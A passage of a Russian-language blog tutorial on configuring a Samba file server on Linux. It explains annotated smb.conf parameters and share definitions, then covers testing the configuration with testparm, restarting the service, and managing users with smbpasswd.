*ReType*new*UNIX*password* %n
*asswd:*all*authentication*tokens*updated*successfully*

  1. Где искать список соответствия пользователей самбы и Linux-пользователей. Пропало в последних 2.* и всех версиях 3.*.

user map = /etc/samba/smbusers

  1. Гибкое конфигурирование работы сервера. Я здесь оставил все по умолчанию. По мануалу, вроде, можно назначать свой конфиг для каждой машины.

include = /etc/samba/smb.conf.%m

  1. Строка возвращаемая клиенту. Подробнее смотри speed.txt и manual pages

socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192

  1. Указывает на каком интерфейсе должна работать самба (или в какой сети находится сервер).
  2. Можно прописать несколько значений разделяя их пробелами. Допускается написание имени интерфейса.
  3. Из соображений безопасности настоятельно не рекомендуется включать доступ извне вашей сети.

interfaces = 10.10.20.1/24 eth2

  1. Поставив здесь yes вы разрешите машинам с Windows95 заходить на вашу машину.

domain logons = yes

  1. Эти две строки решают проблемы с кодировками в версиях 2.*. Если на открытую вами шару слить файлы с
  2. названием содержащим русские символы то они будут читаемы и в Linux. Если кодировкой вашей системы является ср1251 – пишите соответствующее значение.

client code page=866

character set=koi8-r

  1. Эти две строки решают проблемы с кодировками в Samba 3.*.

dos charset=866

unix charset=koi8-r

  1. Рассылать на эти хосты оповещение о том что в сети появилась новая машина.
  2. Для чего это надо. Дело в том что машины с Windows 9x не видят в сети себе-подобных
  3. (в том числе и пингвина, прикинувшегося “мастдаем”) пока с них не придет по сети какой-нибудь пакет.
  4. Если включим эту строку, сервер разошлет пустой пакет по указанным адресам. Обычно здесь прописывают броадкаст
  5. необходимых подсеток.

remote announce = 10.10.20.255 10.10.10.44

  1. Насколько я понял, эта опция разрешает самбе быть контролером домена

domain master = yes

  1. Включение поддержки WINS.

wins support = yes

  1. =================Сетевые ресурсы на вашей машине====================

  1. Здесь вы можете открыть домашние папки для юзеров зарегистрированных на вашей машине,
  2. общедоступные ресурсы (например если вы поднимаете общий файл-сервер) либо ресурсы для
  3. определенных юзеров
  4. Здесь вся настройка сводится к указанию папки, доступ к которой вы открываете и настройке
  5. прав доступа.

  1. Применяются такие команды:

comment – комментарий ресурсаpath – путь к папкеvolume – dos-метка дискаguest ok – доступ к ресурсу без аутентификацииread only – запрет на записьwritable – разрешение на записьwrite list – список юзеров, которым разрешена записьread list – список юзеров, которым запрещена записьhide dot files – считать файлы, имя которых начинается с точки скрытымиhide files – файлы определенные этим шаблоном считать скрытымиveto files – файлы определенные этим шаблоном будут недоступныdelete veto files – разрешение или запрет на удаление недоступных для пользователя файлов.

  1. Используется когда пользователь пытается удалить папку содержащую запрещенные файлы

  1. Эта шара открывается для каждого зарегистрированного самба-пользователя и ведет в его домашнюю папку (/home/…).
  2. У меня выключено за ненадобностью.

[homes]comment = Home Directoriesreadonly=nobrowseable = nowritable = yes

  1. Un-comment the following and create the netlogon directory for Domain Logons

[netlogon]
comment = Network Logon Service
path = /home/netlogon
guest ok = yes
writable = no
share modes = no

  1. Un-comment the following to provide a specific roving profile share
  2. the default is to use the user's home directory

[Profiles]
path = /home/profiles
browseable = no
guest ok = yes

  1. NOTE: If you have a BSD-style print system there is no need to
  2. specifically define each individual printer

[printers]
comment = All Printers
path = /var/spool/samba
browseable = no

  1. Set public = yes to allow user 'guest account' to print

guest ok = no
printable = yes

  1. This one is useful for people to share files

[tmp]
comment = Temporary file space
path = /tmp
read only = no
public = yes

  1. A publicly accessible directory, but read only, except for people in
  2. the “staff” group

[public]
comment = Public Stuff
path = /home/samba
public = yes
writable = yes
printable = no
write list = @staff

  1. Other examples. #
  2. A private printer, usable only by fred. Spool data will be placed in fred's
  3. home directory. Note that fred must have write access to the spool directory,
  4. wherever it is.

[fredsprn]
comment = Fred's Printer
valid users = fred
path = /homes/fred
printer = freds_printer
public = no
printable = yes

  1. A private directory, usable only by fred. Note that fred requires write
  2. access to the directory.

[fredsdir]
comment = Fred's Service
path = /usr/somewhere/private
valid users = fred
public = no
writable = yes
printable = no

  1. a service which has a different directory for each machine that connects
  2. this allows you to tailor configurations to incoming machines. You could
  3. also use the %u option to tailor it by user .
  4. The %m gets replaced with the machine that is connecting.

[pchome]
comment = PC Directories
path = /usr/pc/%m
public = no
writable = yes

  1. A publicly accessible directory, read/write to all users. Note that all files
  2. created in the directory by users will be owned by the default user, so
  3. any user with access can delete any other user's files. Obviously this
  4. directory must be writable by the default user. Another user could of course
  5. be specified, in which case all files would be owned by that user instead.

[public]
path = /usr/somewhere/else/public
public = yes
only guest = yes
writable = yes
printable = no

  1. The following two entries demonstrate how to share a directory so that two
  2. users can place files there that will be owned by the specific users. In this
  3. setup, the directory should be writable by both users and should have the
  4. sticky bit set on it to prevent abuse. Obviously this could be extended to
  5. as many users as required.

[myshare]
comment = Mary's and Fred's stuff
path = /usr/somewhere/shared
valid users = mary fred
public = no
writable = yes
printable = no
create mask = 0765

Привожу свои открытые ресурсы.

[public]path=/home/samba/publiccomment=File-sharewritable = yesguest ok=yes

[CD]path=/mnt/cdromcomment=For read CDROMguest ok=yeswritable=no

В принципе, все. Осталось проверить и запустить.

После конфигурирования пробуем команду testparm -v|less. Для чего тут необходим less, думаю, объяснять не надо… Будут протестированы указанные параметры самбы.

Если вы видите, что какойто параметр вы не указывали а он здесь есть, не пугайтесь, это значения по умолчанию. Кстати, таким образом очень хорошо изучать Samba на более глубоком уровне – прогоняем, смотрим параметр, читаем мануал.

Кстати мануал по самбе, на мой взгляд, один из лучших. Хоть и огромного размера, зато все описано очень доходчиво и хорошо структурировано.

Если проверка не выявила ошибок, перезапускам samba.

Для RedHat-подобных систем:

#/etc/rc.d/init.d/smb restart

Для BSD-подобных (например Slackware):

#/etc/rc.d/samba restart

Еще несколько необходимых вам команд:

smbpasswd – Добавить пользователя или изменить пароль существующему.

smbpasswd -a user – добавить пользователя. Обратите внимание, что должен быть создан Linux-пользователь с таким же именем.

smbpasswd -x user – удалить пользователя.

smbpasswd user – сменить пароль.

Пароли хранятся в smbpasswd. Сведения о пользователях в smbusers.

smbclient -L host – укажет все открытые шары на удаленной машине + некоторую интересную информацию.

smbmount – монтирование удаленной шары. Формат такой же как и у mount. Отличие в наличии дополнительных примочек. Подробнее смотрите man smbmount

Если, при монтировании, возникают проблемы с кодировкой русскоязычных названий папок и файлов, попробуйте в конце дописать -o codepage=866,iocharset=koi8-r

За сим все.

Источник: http://golda-alex.blogspot.com/2009/09/samba.html

Ссылка на основную публикацию